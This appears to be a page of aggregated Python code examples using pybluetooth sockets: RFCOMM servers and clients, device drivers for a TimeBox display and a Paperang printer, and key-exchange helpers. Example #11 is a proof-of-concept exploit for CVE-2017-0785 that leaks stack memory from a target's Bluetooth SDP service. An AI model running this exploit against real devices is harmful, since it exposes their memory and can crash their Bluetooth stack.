Exemple #1
1
class BtServer(object):

    def __init__(self):
        super(BtServer, self).__init__()

        self.socket = BluetoothSocket(RFCOMM)
        self.client = {}

    def start(self):
        # empty host address means this machine
        self.socket.bind(("", PORT_ANY))
        self.socket.listen(config['backlog'])

        self.port = self.socket.getsockname()[1]
        uuid = config['uuid']

        advertise_service(
            self.socket,
            "Rewave Server",
            service_id=uuid,
            service_classes=[uuid, SERIAL_PORT_CLASS],
            profiles=[SERIAL_PORT_PROFILE]
        )

        print('Waiting for connection on RFCOMM channel %d' % self.port)
        self.client['socket'], self.client['info'] = self.socket.accept()
        print("Accepted connection from ", self.client['info'])

    def kill(self):
        self.socket.close()

    def close_connection(self):
        self.client['socket'].close()
Exemple #2
0
def client_loop(client: bt.BluetoothSocket, cursor: sqlite3.Cursor,
                connection: sqlite3.Connection):
    while True:
        try:
            print('Try receiving')
            raw = client.recv(1024)
            print(f'Received {len(raw)} bytes: {raw}')

            query = decode_message(raw)
            query_type = query.WhichOneof("query")
            print(f'Query type: {query_type}')

            if query_type == 'get_ids':
                response = encode_ids(cursor)
            elif query_type == 'get_flower_data':
                flower_id = query.get_flower_data.flower_id
                since_time = query.get_flower_data.since_time
                response = encode_flower_data(flower_id, since_time, cursor)
            elif query_type == 'set_watering':
                flower_id = query.set_watering.flower_id
                hour = query.set_watering.hour
                days = query.set_watering.days
                set_watering(flower_id, hour, days, cursor, connection)
                response = encode_watering_set()
            else:
                continue

            raw_send = response.SerializeToString()
            client.send(raw_send)
            print(f'Sent {len(raw_send)} bytes: {raw_send}')

        except bt.btcommon.BluetoothError as e:
            print(e)
            client.close()
            break
Exemple #3
0
def main():
    # Setup logging
    setup_logging()
    # We need to wait until Bluetooth init is done
    time.sleep(10)
    # Make device visible
    os.system("hciconfig hci0 piscan")
    # Create a new server socket using RFCOMM protocol
    server_sock = BluetoothSocket(RFCOMM)
    # Bind to any port
    server_sock.bind(("", PORT_ANY))
    # Start listening
    server_sock.listen(1)
    # Get the port the server socket is listening
    port = server_sock.getsockname()[1]
    # The service UUID to advertise
    uuid = "7be1fcb3-5776-42fb-91fd-2ee7b5bbb86d"
    # Start advertising the service
    advertise_service(server_sock,
                      "RaspiBtSrv",
                      service_id=uuid,
                      service_classes=[uuid, SERIAL_PORT_CLASS],
                      profiles=[SERIAL_PORT_PROFILE])
    # These are the operations the service supports
    # Feel free to add more
    operations = ["ping", "example"]
    # Main Bluetooth server loop
    while True:
        print("Waiting for connection on RFCOMM channel %d" % port)
        client_sock = None
        try:
            # This will block until we get a new connection
            client_sock, client_info = server_sock.accept()
            print("Accepted connection from ", client_info)
            # Read the data sent by the client
            data = client_sock.recv(1024)
            if len(data) == 0:
                break
            print("Received [%s]" % data)
            # Handle the request
            if data == "getop":
                response = "op:%s" % ",".join(operations)
            elif data == "ping":
                response = "msg:Pong"
            elif data == "example":
                response = "msg:This is an example"
            # Insert more here
            else:
                response = "msg:Not supported"
            client_sock.send(response)
            print("Sent back [%s]" % response)
        except IOError:
            pass
        except KeyboardInterrupt:
            if client_sock is not None:
                client_sock.close()
            server_sock.close()
            print("Server going down")
            break
Exemple #4
0
    def task(self):
        # Waiting until Bluetooth init is done
        time.sleep(self.wakeup_time)

        # Make device visible
        self.scm.set_bluetooth_visible()

        # Create a new server socket using RFCOMM protocol
        server_sock = BluetoothSocket(RFCOMM)

        # Bind to any port
        server_sock.bind(("", PORT_ANY))

        # Start listening
        server_sock.listen(self.max_simultaneous_connections)

        # Get the port the server socket is listening
        port = server_sock.getsockname()[1]

        # Main bluetooth server loop
        while True:

            logger.info(
                'Waiting for bluetooth connection on channel {}'.format(port))

            client_sock = None
            try:
                # Block until we get a new connection
                client_sock, client_info = server_sock.accept()
                logger.info('Accepted connection from {}'.format(client_info))

                # Read the data sent by the client
                command = client_sock.recv(1024)
                if len(command) == 0:
                    continue

                logger.info('Received [{}]'.format(command))

                # Handle the request
                response = self.handle_request(command)

                client_sock.send(response)
                logger.info('Sent back [{}]'.format(response))

            except IOError:
                pass
            except KeyboardInterrupt:

                if client_sock is not None:
                    client_sock.close()

                server_sock.close()

                logger.info('Bluetooth server going down')
                break
def get_port():
    while True:
        for port in range(1, 9):  # limit 8 devices
            s = BluetoothSocket(RFCOMM)
            try:
                s.bind(("", port))
                s.close()
                return port
            except Exception as ex:
                s.close()
        sleep(1)
Exemple #6
0
class BtServer(object):

    def __init__(self, socket=None):
        super(BtServer, self).__init__()
        self.socket = socket

    def start(self):
        print('start called')
        if not self.socket:
            print('non socket, creating one')
            self.socket = BluetoothSocket(RFCOMM)
            # empty host address means this machine
            self.socket.bind(("", PORT_ANY))
            self.socket.listen(config['backlog'])

            advertise_service(
                self.socket,
                "Rewave Server",
                service_id=config['uuid'],
                service_classes=[config['uuid'], SERIAL_PORT_CLASS],
                profiles=[SERIAL_PORT_PROFILE]
            )

        self.port = self.socket.getsockname()[1] # need port for ref.
        self.accept()

    def stop(self):
        print("server stop called")
        self.socket.close()
        try:
            self.client_socket.close()
        except AttributeError as e:
            # in case if no client is connected
            pass

    def recv(self, buffer=2048):
        print('recv called')
        try:
            return self.client_socket.recv(buffer).decode(encoding='UTF-8')
        except UnicodeDecodeError as e:
            # return raw if unable to unicode decode
            return self.client_socket.recv(buffer)

    def send(self, data):
        self.client_socket.send(data)

    def close_connection(self):
        print("close_connection called")
        self.client_socket.close()

    def accept(self):
        # blocking call
        print("accept Called. Waiting for connection on RFCOMM channel", self.port)
        self.client_socket = self.socket.accept()[0] # returns socket, name
Exemple #7
0
class CompanionDeviceBridge(Thread):
    """A manager for connecting to external monitoring device.

    This manager uses Bluetooth to connect to establish a connection with a
    Digibod Companion Device.
    """
    def __init__(self):
        self._socket = BluetoothSocket(bluetooth.RFCOMM)
        self._is_connected = False

    def find_devices(self, discovery_time: int = 20) -> list:
        """Look for currently discoverable Bluetooth devices.

        Args:
            discovery_time (int): The number of seconds (20 by default) to
                discover available Bluetooth devices.

        Returns:
            A list of discoverable Bluetooth devices.
        """
        nearby_devices = bluetooth.discover_devices(bluetooth.RFCOMM,
                                                    duration=discovery_time)
        return nearby_devices

    def connect_to_device(self, bluetooth_address: str, port: int = 1):
        """Initiate a Bluetooth connection to a Companion Device.
        
        Args:
            bluetooth_address (str): The address of the device to connect to.
            port (int): 1 by default.
        """
        try:
            self._socket.connect((bluetooth_address, port))
            self.is_connected = True
        except BluetoothError as e:
            # TODO: Handle error
            print(e)

    def disconnect_from_device(self):
        self._socket.close()
        self.is_connected = False

    def send_snapshot(self, snapshot: SensorSnapshot):
        """Send a SensorSnapshot to the connected companion device.

        Args:
            snapshot (SensorSnapshot): Sensor data to send.
        """
        # TODO: Send snapshot
        self._socket.send(snapshot.to_json())

    def is_connected(self) -> bool:
        """Return True if this bridge is connected to a client device."""
        return self._is_connected
Exemple #8
0
def run_bt_server(account):
    """Adapted from: https://github.com/EnableTech/raspberry-bluetooth-demo"""
    import pdb
    pdb.set_trace()
    server_sock = BluetoothSocket(RFCOMM)

    server_sock.bind(("", PORT_ANY))
    server_sock.listen(1)

    port = server_sock.getsockname()[1]
    print ("listening on port %d" % port)

    uuid = "1e0ca4ea-299d-4335-93eb-27fcfe7fa848"
    advertise_service(
        server_sock,
        "Mock Detector",
        service_id=uuid,
        service_classes=[uuid, SERIAL_PORT_CLASS],
        profiles=[SERIAL_PORT_PROFILE],
        # protocols=[OBEX_UUID],
    )

    print("Waiting for connection on RFCOMM channel %d" % port)

    client_sock, client_info = server_sock.accept()
    print("Accepted connection from ", client_info)

    try:
        while True:
            data = client_sock.recv(1024)
            if len(data) == 0:
                break
            print("received [%s]" % data)
            if data == b'ETH_ADDRESS\r\n':
                client_sock.send(
                    "ETH_ADDRESS::0x{}\r\nEND\r\n".format(account.address())
                )
            elif data.startswith('SIGNED_MESSAGE::'):
                start = len('SIGNED_MESSAGE::')
                user_address = data[start:start+42]
                message = account.create_signed_message(
                    user_address,
                    int(time.time())
                )
                client_sock.send(message)
    except IOError:
        pass

    print("disconnected")

    client_sock.close()
    server_sock.close()
    print("all done")
class BlueComm:
    def __init__(self):

        self.stop = False
        self.exit = False

    def start(self, callback):

        self.stop = False

        self.server_sock = BluetoothSocket(RFCOMM)
        self.server_sock.bind(("", PORT_ANY))
        self.server_sock.listen(1)

        port = self.server_sock.getsockname()[1]

        uuid = "fa87c0d0-afac-11de-8a39-0800200c9a66"

        advertise_service(self.server_sock,
                          "blueCommServer",
                          service_id=uuid,
                          service_classes=[uuid, SERIAL_PORT_CLASS],
                          profiles=[SERIAL_PORT_PROFILE]
                          #  protocols = [ OBEX_UUID ]
                          )

        print("Waiting for connection on RFCOMM channel %d" % port)

        self.client_sock, self.client_info = self.server_sock.accept()
        print("Accepted connection from ", self.client_info)

        try:
            while not self.stop:
                data = self.client_sock.recv(1024)
                if len(data) == 0:
                    break

                callback(self, data)

        except IOError:
            pass

        print("disconnected")

        self.disconnect()

    def disconnect(self):

        self.client_sock.close()
        self.server_sock.close()
Exemple #10
0
class RFCOMMServer:
    """Object that simplifies setting up an RFCOMM socket server.

    This is based on the ``socketserver.SocketServer`` class in the Python
    standard library.
    """
    request_queue_size = 1

    def __init__(self, server_address, RequestHandlerClass):
        self.server_address = server_address
        self.RequestHandlerClass = RequestHandlerClass

        self.socket = BluetoothSocket(RFCOMM)

        try:
            self.socket.bind((server_address[0], server_address[1]))
            # self.server_address = self.socket.getsockname()
            self.socket.listen(self.request_queue_size)
        except Exception:
            self.server_close()
            raise

    def __enter__(self):
        return self

    def __exit__(self, type, value, traceback):
        self.server_close()

    def handle_request(self):
        try:
            request, addr_data = self.socket.accept()
        except OSError:
            return

        try:
            self.process_request(request, addr_data)
        except Exception:
            request.close()
            raise

    def process_request(self, request, client_address):
        self.finish_request(request, client_address)
        request.close()

    def finish_request(self, request, client_address):
        self.RequestHandlerClass(request, client_address, self)

    def server_close(self):
        self.socket.close()
Exemple #11
0
def main():
    target_bd_addr = args['BD_ADDR']

    l2cap_mtu = 50

    sock = BluetoothSocket(L2CAP)
    set_l2cap_mtu(sock, l2cap_mtu)

    sock.connect((target_bd_addr, PSM_SDP))

    print('Sending the first SDP_SERVICE_SEARCH_REQ PDU')
    params = {
        'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
        'MaximumServiceRecordCount': 0xFFFF,
        'ContinuationState': b'\x00'
    }
    sock.send(sdp_service_search_req(params))
    sdp_service_search_rsp = sock.recv(l2cap_mtu)
    
    info_len = sdp_service_search_rsp[-3]
    if info_len != ANDROID_CONT_STATE_INFO_LEN:
        print(sdp_service_search_rsp[-3])
        print('Invalid continuation state received.')
        sys.exit(1)

    stack = b''
    for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃
        print('Sending packet %d' % i)
        params = {
            'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
            'MaximumServiceRecordCount': 0x0001,
            'ContinuationState': sdp_service_search_rsp[-3:]
        }
        sock.send(sdp_service_search_req(params))
        sdp_service_search_rsp = sock.recv(l2cap_mtu)
        
        # Leaked info is in ServiceRecordHandleList field
        stack += sdp_service_search_rsp[9:-3]

    sock.close()

    print(hexdump(stack))
    if len(stack) > 20:
        print('CVE-2017-0785')
class PantojoBluetoothReceiver:

    PANTOJO_BLUETOOTH_PORT = 3
    MAX_PACKET_SIZE = 34

    def __init__(self):
        self.server_socket = BluetoothSocket(RFCOMM)
        self.server_socket.bind(("", self.PANTOJO_BLUETOOTH_PORT))

    def open(self):
        self.server_socket.listen(1)
        self.client_socket, self.client_info = self.server_socket.accept()

    def recv(self):
        return self.client_socket.recv(self.MAX_PACKET_SIZE).strip()

    def close(self):
        self.client_socket.close()
        self.server_socket.close()
def main():
    """
    This program attempts to receive a stream of a 1000 jpeg images,
    saving them in the out folder
    """
    global img, BTsocket, cLength
    if not os.path.exists("out"):
        os.makedirs("out")
    img = bytes()
    # regex to extract length from the header
    cLength = re.compile(r"^Content-Length: (?P<length>\d+)\r\n\r\n$")
    BTsocket = BluetoothSocket(RFCOMM)
    # search for our device
    found = False
    spp_service_devices = []
    while not found:
        print("Searching for device...")
        spp_service_devices = find_service(name="UTHAR_SERVER", uuid="1101")
        if len(spp_service_devices):
            found = True
    # connect to the first device which advertizes the SPP service
    print("Device found. Connecting...")
    BTsocket.connect(
        (spp_service_devices[0]["host"], spp_service_devices[0]["port"]))
    start = time.time()
    images = 1000
    img_count = 0
    try:
        for i in range(images):
            print(f"\nImage {i}:")
            img, size = bluetooth_receive()
            if not img:
                continue
            with open(f"out/test{i}.jpeg", "wb") as file:
                file.write(img)
            img_count += 1
    except KeyboardInterrupt:
        BTsocket.close()
    end = time.time()
    print(
        f"Received {img_count} images in {end - start:.2f} seconds: {img_count/(end - start):.2f} FPS"
    )
Exemple #14
0
def connect(addr):
    global SOCK, CONSOLE, CONNECTED

    connected = 'Connected: {}'

    try:
        SOCK = BluetoothSocket(RFCOMM)
        SOCK.connect((addr, 1))
        SOCK.settimeout(1)
    except BluetoothError as e:
        CONSOLE += str(e) + '\n'
        connected = connected.format('no')
        SOCK.close()
        SOCK = None
    else:
        CONNECTED = True
        connected = connected.format('yes')

    CONSOLE += connected + '\n'
    return connected
Exemple #15
0
def server(addr, port, ble=False):
    global running
    print(f'Creating {"BLE" if ble else "BL"} connection')
    if not ble:
        sock = Socket(RFCOMM)
        sock.connect((addr, port))
    else:
        sock = GATTRequester(addr)
    while running:
        lock.acquire()
        data = b''.join((key_to_order(order, speed) for order in orders))
        data += b''.join((key_to_stop_order(order) for order in stop_orders))
        stop_orders.clear()
        lock.release()
        if not ble:
            sock.send(data)
        else:
            for b in data:
                sock.write_by_handle(port, bytes([b]))
        sleep(.02)
    sock.close()
Exemple #16
0
class RFCOMMClient:
    def __init__(self, client_address, RequestHandlerClass):
        self.client_address = client_address
        self.RequestHandlerClass = RequestHandlerClass
        self.socket = BluetoothSocket(RFCOMM)

    def handle_request(self):
        self.socket.connect((self.client_address[0], self.client_address[1]))
        try:
            self.process_request(self.socket, self.client_address)
        except Exception:
            self.socket.close()
            raise

    def process_request(self, request, client_address):
        self.finish_request(request, client_address)
        request.close()

    def finish_request(self, request, client_address):
        self.RequestHandlerClass(request, client_address, self)

    def client_close(self):
        self.socket.close()
Exemple #17
0
def discover():

    TimeBoxList = {}
    print('scanning for timebox')
    discovered = discover_devices(duration=5, lookup_names=True)

    if (not len(discovered)):
        print("no devices discovered")
        return
    else:
        for a, n in discovered:
            if (n and 'timebox' in n.lower()):
                print('checking device %s' % a)

                try:
                    sock = BluetoothSocket(bluetooth.RFCOMM)
                    sock.connect((a, 4))
                    hello = [ord(c) for c in sock.recv(256)]

                    if (hello == TIMEBOX_HELLO):
                        TimeBoxList['address'] = a
                        TimeBoxList['sock'] = sock
                        break
                    else:
                        print('invalid hello received')

                    sock.close()
                except:
                    pass

        if (not 'address' in TimeBoxList):
            print('could not find a timebox ...')
            return
        else:
            print("Found device : " + TimeBoxList['address'])
    return
class BluetoothReceive:
    def __init__(self, port=3, size=1024):
        self.port = port
        self.size = size
        self.client_socket = None
        self.stopped = False

    @inlineCallbacks
    def find_key(self, bt_mac, mac):
        self.client_socket = BluetoothSocket(RFCOMM)
        message = b""
        try:
            self.client_socket.setblocking(False)
            try:
                self.client_socket.connect((bt_mac, self.port))
            except BluetoothError as be:
                if be.args[0] == "(115, 'Operation now in progress')":
                    pass
                else:
                    raise be
            success = False
            while not self.stopped and not success:
                r, w, e = yield threads.deferToThread(select.select, [self.client_socket], [], [], 0.5)
                if r:
                    log.info("Connection established")
                    self.client_socket.setblocking(True)
                    success = True
                    # try to receive until the sender closes the connection
                    try:
                        while True:
                            part_message = self.client_socket.recv(self.size)
                            message += part_message
                    except BluetoothError as be:
                        if be.args[0] == "(104, 'Connection reset by peer')":
                            log.info("Bluetooth connection closed, let's check if we downloaded the key")
                        else:
                            raise be
            mac_key = fingerprint_from_keydata(message)
            verified = None
            if mac:
                verified = mac_verify(mac_key.encode('ascii'), message, mac)
            if verified:
                success = True
            else:
                log.info("MAC validation failed: %r", verified)
                success = False
                message = b""
        except BluetoothError as be:
            if be.args[0] == "(16, 'Device or resource busy')":
                log.info("Probably has been provided a partial bt mac")
            elif be.args[0] == "(111, 'Connection refused')":
                log.info("The sender refused our connection attempt")
            elif be.args[0] == "(112, 'Host is down')":
                log.info("The sender's Bluetooth is not available")
            elif be.args[0] == "(113, 'No route to host')":
                log.info("An error occurred with Bluetooth, if present probably the device is not powered")
            else:
                log.info("An unknown bt error occurred: %s" % be.args[0])
            key_data = None
            success = False
            returnValue((key_data, success, be))
        except Exception as e:
            log.error("An error occurred connecting or receiving: %s" % e)
            key_data = None
            success = False
            returnValue((key_data, success, e))

        if self.client_socket:
            self.client_socket.close()
        returnValue((message.decode("utf-8"), success, None))

    def stop(self):
        self.stopped = True
        if self.client_socket:
            try:
                self.client_socket.shutdown(socket.SHUT_RDWR)
                self.client_socket.close()
            except BluetoothError as be:
                if be.args[0] == "(9, 'Bad file descriptor')":
                    log.info("The old Bluetooth connection was already closed")
                else:
                    log.warning("An unknown bt error occurred: %s" % be.args[0])
Exemple #19
0
class TimeBox:
    def __init__(self):
        self.messages = TimeBoxMessages()
        self.isconnected = False
        self.mac = ''
        self.socket = ''

    def show_text(self, txt, speed=10, font=None):
        """
          Display text & scroll, call is blocking
        """
        if (type(txt) is not list) or (len(txt) == 0) or (type(txt[0])
                                                          is not tuple):
            raise Exception("a list of tuple is expected")
        im = draw_multiple_to_image(txt, font)
        slices = horizontal_slices(im)
        speed = 20 - speed
        speed = int(50 + round(speed * 10))
        logging.debug('CALLLLLLCULAAAAATED SPEED ' + str(speed))
        slices[0].save('/tmp/pixoo_text_temp.gif',
                       format='GIF',
                       append_images=slices[1:],
                       save_all=True,
                       duration=speed,
                       loop=0)
        f = PIL.Image.open('/tmp/pixoo_text_temp.gif')
        f.info['duration'] = speed
        f.save('/tmp/pixoo_text.gif', save_all=True)
        self.show_animated_image('/tmp/pixoo_text.gif')
        self.show_animated_image('/tmp/pixoo_text.gif')

    def show_static_image(self, path):
        logging.debug('DIVOOM------Show static image')
        self.send_raw('44000A0A04AA2D00000000' + divoom_image.load_image(path))

    def show_animated_image(self, path):
        logging.debug('DIVOOM------Show animated image')
        messages = divoom_image.build_animation(path)
        logging.debug(str(messages))
        self.show_static_image(
            os.path.join(os.path.dirname(__file__), 'images/noir.png'))
        for message in messages:
            self.send_raw(message)

    def connect(self, host=None, port=4):
        """Open a connection to the TimeBox."""
        # Create the client socket
        for i in range(5):
            try:
                globals.PENDING_ACTION = True
                globals.PENDING_TIME = int(time.time())
                time.sleep(3)
                self.socket = BluetoothSocket(RFCOMM)
                self.socket.connect((host, port))
                self.socket.setblocking(0)
                self.isconnected = True
                self.mac = host
            except Exception as e:
                logging.error(
                    "Got exception while attempting to connect to timebox : %s"
                    % e)
                time.sleep(2)
            break
        globals.PENDING_ACTION = False
        globals.PENDING_TIME = int(time.time())

    def close(self):
        """Closes the connection to the TimeBox."""
        self.socket.close()
        self.isconnected = False
        if self.mac in globals.KEEPED_CONNECTION:
            del globals.KEEPED_CONNECTION[self.mac]

    def set_time(self, time=None):
        if not time:
            time = datetime.datetime.now()
        args = []
        args.append(int(str(time.year)[2:]))
        args.append(int(str(time.year)[0:2]))
        args.append(int(time.month))
        args.append(int(time.day))
        args.append(int(time.hour))
        args.append(int(time.minute))
        args.append(int(time.second))
        args.append(0)
        self.send_command("set date time", args)

    def send_command(self, command, args=None):
        """Send command with optional arguments"""
        logging.debug('DIVOOM------Send command')
        if args is None:
            args = []
        if isinstance(command, str):
            command = self.COMMANDS[command]
        length = len(args) + 3
        length_lsb = length & 0xff
        length_msb = length >> 8
        payload = [length_lsb, length_msb, command] + args
        self.send_payload(payload)

    def set_static_image(self, image):
        """Set the image on the TimeBox"""
        msg = self.messages.static_image_message(image)
        self.socket.send(bytes(bytearray(msg)))

    def set_dynamic_images(self, images, frame_delay=1):
        """Set the image on the TimeBox"""
        fnum = 0
        for img in images:
            msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
            fnum = fnum + 1
            self.socket.send(bytes(bytearray(msg)))

    def set_luminosity(self, slider=None):
        """Set Luminoity on Pixoo"""
        if slider == None:
            slider = '100'
        slider = hex(int(slider))[2:].zfill(2)
        self.send_raw('74' + slider)

    def set_temperature(self, temperature=None, icon=None):
        """Set Temperature and weather image on Pixoo"""
        if temperature == None:
            temperature = '25'
        temperature = hex(int(temperature))[2:].zfill(2)
        if icon == None:
            icon = '1'
        icon = hex(int(icon))[2:].zfill(2)
        self.send_raw('5F' + temperature + icon)

    def set_visual(self, type=None, visual=None):
        """Set type and visual effect on Pixoo"""
        if type == None:
            type = '3'
        type = hex(int(type))[2:].zfill(2)
        if visual == None:
            visual = '1'
        visual = hex(int(visual))[2:].zfill(2)
        self.send_raw('45' + type + visual)

    def set_notifs(self, icon=None):
        """Set notifs on Pixoo"""
        if icon == None:
            icon = '1'
        icon = hex(int(icon))[2:].zfill(2)
        self.send_raw('50' + icon)

    def set_clock(self,
                  mode=0,
                  clock=0,
                  weather=0,
                  temp=0,
                  date=0,
                  color=None):
        """Set clock and modes on Pixoo"""
        mode = hex(int(mode))[2:].zfill(2)
        clock = hex(int(clock))[2:].zfill(2)
        weather = hex(int(weather))[2:].zfill(2)
        temp = hex(int(temp))[2:].zfill(2)
        date = hex(int(date))[2:].zfill(2)
        if color == None:
            color = '#0000FF'
        color = color[1:]
        self.send_raw('450000' + mode + clock + weather + temp + date + color)

    def send_raw(self, data):
        """Send raw data to the TimeBox."""
        logging.debug('DIVOOM------Send raw command ' + str(data))
        args = [int(x) for x in bytearray.fromhex(data)]
        logging.debug('DIVOOM------ ' + str(args))
        length = len(args) + 2
        length_lsb = length & 0xff
        length_msb = length >> 8
        payload = [length_lsb, length_msb] + args
        self.send_payload(payload)

    def send_payload(self, payload):
        """Send raw payload to the TimeBox. (Will be escaped, checksumed and
        messaged between 0x01 and 0x02."""
        logging.debug('DIVOOM------Send payload')
        logging.debug(str(payload))
        msg = self.messages.make_message(payload)
        logging.debug(str(msg))
        logging.debug('MEEEEEEEEEEESSSSAAAAGE    ' +
                      str(bytes(bytearray(msg)).hex()))
        return self.socket.send(bytes(bytearray(msg)))
class BluetoothOffer:
    def __init__(self, key, port=3, size=1024):
        self.key = key
        self.port = port
        self.size = size
        self.server_socket = None
        self.message_def = None
        self.stopped = False
        self.code = None

    @inlineCallbacks
    def start(self):
        self.stopped = False
        message = "Back"
        success = False
        try:
            while not self.stopped and not success:
                # server_socket.accept() is not stoppable. So with select we can call accept()
                # only when we are sure that there is already a waiting connection
                ready_to_read, ready_to_write, in_error = yield threads.deferToThread(
                    select.select, [self.server_socket], [], [], 0.5)
                if ready_to_read:
                    # We are sure that a connection is available, so we can call
                    # accept() without deferring it to a thread
                    client_socket, address = self.server_socket.accept()
                    key_data = get_public_key_data(self.key.fingerprint)
                    kd_decoded = key_data.decode('utf-8')
                    yield threads.deferToThread(client_socket.sendall, kd_decoded)
                    log.info("Key has been sent")
                    client_socket.shutdown(socket.SHUT_RDWR)
                    client_socket.close()
                    success = True
                    message = None
        except Exception as e:
            log.error("An error occurred: %s" % e)
            success = False
            message = e

        returnValue((success, message))

    def allocate_code(self):
        try:
            code = get_local_bt_address().upper()
        except dbus.exceptions.DBusException as e:
            if e.get_dbus_name() == "org.freedesktop.systemd1.NoSuchUnit":
                log.info("No Bluetooth devices found, probably the bluetooth service is not running")
            elif e.get_dbus_name() == "org.freedesktop.DBus.Error.UnknownObject":
                log.info("No Bluetooth devices available")
            else:
                log.error("An unexpected error occurred %s", e.get_dbus_name())
            self.code = None
            return None
        if self.server_socket is None:
            self.server_socket = BluetoothSocket(RFCOMM)
            # We can also bind only the mac found with get_local_bt_address(), anyway
            # even with multiple bt in a single system BDADDR_ANY is not a problem
            self.server_socket.bind((socket.BDADDR_ANY, PORT_ANY))
            # Number of unaccepted connections that the system will allow before refusing new connections
            backlog = 1
            self.server_socket.listen(backlog)
            log.info("sockname: %r", self.server_socket.getsockname())
        port = self.server_socket.getsockname()[1]
        log.info("BT Code: %s %s", code, port)
        bt_data = "BT={0};PT={1}".format(code, port)
        return bt_data

    def stop(self):
        log.debug("Stopping bt receive")
        self.stopped = True
        if self.server_socket:
            self.server_socket.shutdown(socket.SHUT_RDWR)
            self.server_socket.close()
            self.server_socket = None
Exemple #21
0
class Paperang:
    standardKey = 0x35769521
    padding_line = 300
    max_send_msg_length = 2016
    max_recv_msg_length = 1024
    service_uuid = "00001101-0000-1000-8000-00805F9B34FB"

    def __init__(self, address=None):
        self.address = address
        self.crckeyset = False
        self.connected = True if self.connect() else False

    def connect(self):
        if self.address is None and not self.scandevices():
            return False
        if not self.scanservices():
            return False
        logging.info("Service found. Connecting to \"%s\" on %s..." %
                     (self.service["name"], self.service["host"]))
        self.sock = BluetoothSocket(RFCOMM)
        self.sock.connect((self.service["host"], self.service["port"]))
        self.sock.settimeout(60)
        logging.info("Connected.")
        self.registerCrcKeyToBt()
        return True

    def disconnect(self):
        try:
            self.sock.close()
        except:
            pass
        logging.info("Disconnected.")

    def scandevices(self):
        logging.warning(
            "Searching for devices...\n"
            "It may take time, you'd better specify mac address to avoid a scan."
        )
        valid_names = ['MiaoMiaoJi', 'Paperang']
        nearby_devices = discover_devices(lookup_names=True)
        valid_devices = list(
            filter(lambda d: len(d) == 2 and d[1] in valid_names,
                   nearby_devices))
        if len(valid_devices) == 0:
            logging.error("Cannot find device with name %s." %
                          " or ".join(valid_names))
            return False
        elif len(valid_devices) > 1:
            logging.warning(
                "Found multiple valid machines, the first one will be used.\n")
            logging.warning("\n".join(valid_devices))
        else:
            logging.warning("Found a valid machine with MAC %s and name %s" %
                            (valid_devices[0][0], valid_devices[0][1]))
        self.address = valid_devices[0][0]
        return True

    def scanservices(self):
        logging.info("Searching for services...")
        service_matches = find_service(uuid=self.service_uuid,
                                       address=self.address)
        valid_service = list(
            filter(
                lambda s: 'protocol' in s and 'name' in s and s['protocol'] ==
                'RFCOMM' and s['name'] == 'SerialPort', service_matches))
        if len(valid_service) == 0:
            logging.error("Cannot find valid services on device with MAC %s." %
                          self.address)
            return False
        logging.info("Found a valid service")
        self.service = valid_service[0]
        return True

    def sendMsgAllPackage(self, msg):
        # Write data directly to device
        sent_len = self.sock.send(msg)
        logging.info("Sending msg with length = %d..." % sent_len)

    def crc32(self, content):
        return zlib.crc32(content, self.crcKey
                          if self.crckeyset else self.standardKey) & 0xffffffff

    def packPerBytes(self, bytes, control_command, i):
        result = struct.pack('<BBB', 2, control_command, i)
        result += struct.pack('<H', len(bytes))
        result += bytes
        result += struct.pack('<I', self.crc32(bytes))
        result += struct.pack('<B', 3)
        return result

    def addBytesToList(self, bytes):
        length = self.max_send_msg_length
        result = [bytes[i:i + length] for i in range(0, len(bytes), length)]
        return result

    def sendToBt(self, data_bytes, control_command, need_reply=True):
        bytes_list = self.addBytesToList(data_bytes)
        for i, bytes in enumerate(bytes_list):
            tmp = self.packPerBytes(bytes, control_command, i)
            self.sendMsgAllPackage(tmp)
        if need_reply:
            return self.recv()

    def recv(self):
        # Here we assume that there is only one received packet.
        raw_msg = self.sock.recv(self.max_recv_msg_length)
        parsed = self.resultParser(raw_msg)
        logging.info("Recv: " + codecs.encode(raw_msg, "hex_codec").decode())
        logging.info("Received %d packets: " % len(parsed) +
                     "".join([str(p) for p in parsed]))
        return raw_msg, parsed

    def resultParser(self, data):
        base = 0
        res = []
        while base < len(data) and data[base] == '\x02':

            class Info(object):
                def __str__(self):
                    return "\nControl command: %s(%s)\nPayload length: %d\nPayload(hex): %s" % (
                        self.command, BtCommandByte.findCommand(
                            self.command), self.payload_length,
                        codecs.encode(self.payload, "hex_codec"))

            info = Info()
            _, info.command, _, info.payload_length = struct.unpack(
                '<BBBH', data[base:base + 5])
            info.payload = data[base + 5:base + 5 + info.payload_length]
            info.crc32 = data[base + 5 + info.payload_length:base + 9 +
                              info.payload_length]
            base += 10 + info.payload_length
            res.append(info)
        return res

    def registerCrcKeyToBt(self, key=0x6968634 ^ 0x2e696d):
        logging.info("Setting CRC32 key...")
        msg = struct.pack('<I', int(key ^ self.standardKey))
        self.sendToBt(msg, BtCommandByte.PRT_SET_CRC_KEY)
        self.crcKey = key
        self.crckeyset = True
        logging.info("CRC32 key set.")

    def sendPaperTypeToBt(self, paperType=0):
        # My guess:
        # paperType=0: normal paper
        # paperType=1: official paper
        msg = struct.pack('<B', paperType)
        self.sendToBt(msg, BtCommandByte.PRT_SET_PAPER_TYPE)

    def sendPowerOffTimeToBt(self, poweroff_time=0):
        msg = struct.pack('<H', poweroff_time)
        self.sendToBt(msg, BtCommandByte.PRT_SET_POWER_DOWN_TIME)

    def sendImageToBt(self, binary_img):
        self.sendPaperTypeToBt()
        # msg = struct.pack("<%dc" % len(binary_img), *map(bytes, binary_img))
        msg = b"".join(
            map(lambda x: struct.pack("<c", x.to_bytes(1, byteorder="little")),
                binary_img))
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_DATA, need_reply=False)
        self.sendFeedLineToBt(self.padding_line)

    def sendSelfTestToBt(self):
        msg = struct.pack('<B', 0)
        self.sendToBt(msg, BtCommandByte.PRT_PRINT_TEST_PAGE)

    def sendDensityToBt(self, density):
        msg = struct.pack('<B', density)
        self.sendToBt(msg, BtCommandByte.PRT_SET_HEAT_DENSITY)

    def sendFeedLineToBt(self, length):
        msg = struct.pack('<H', length)
        self.sendToBt(msg, BtCommandByte.PRT_FEED_LINE)

    def queryBatteryStatus(self):
        msg = struct.pack('<B', 1)
        self.sendToBt(msg, BtCommandByte.PRT_GET_BAT_STATUS)

    def queryDensity(self):
        msg = struct.pack('<B', 1)
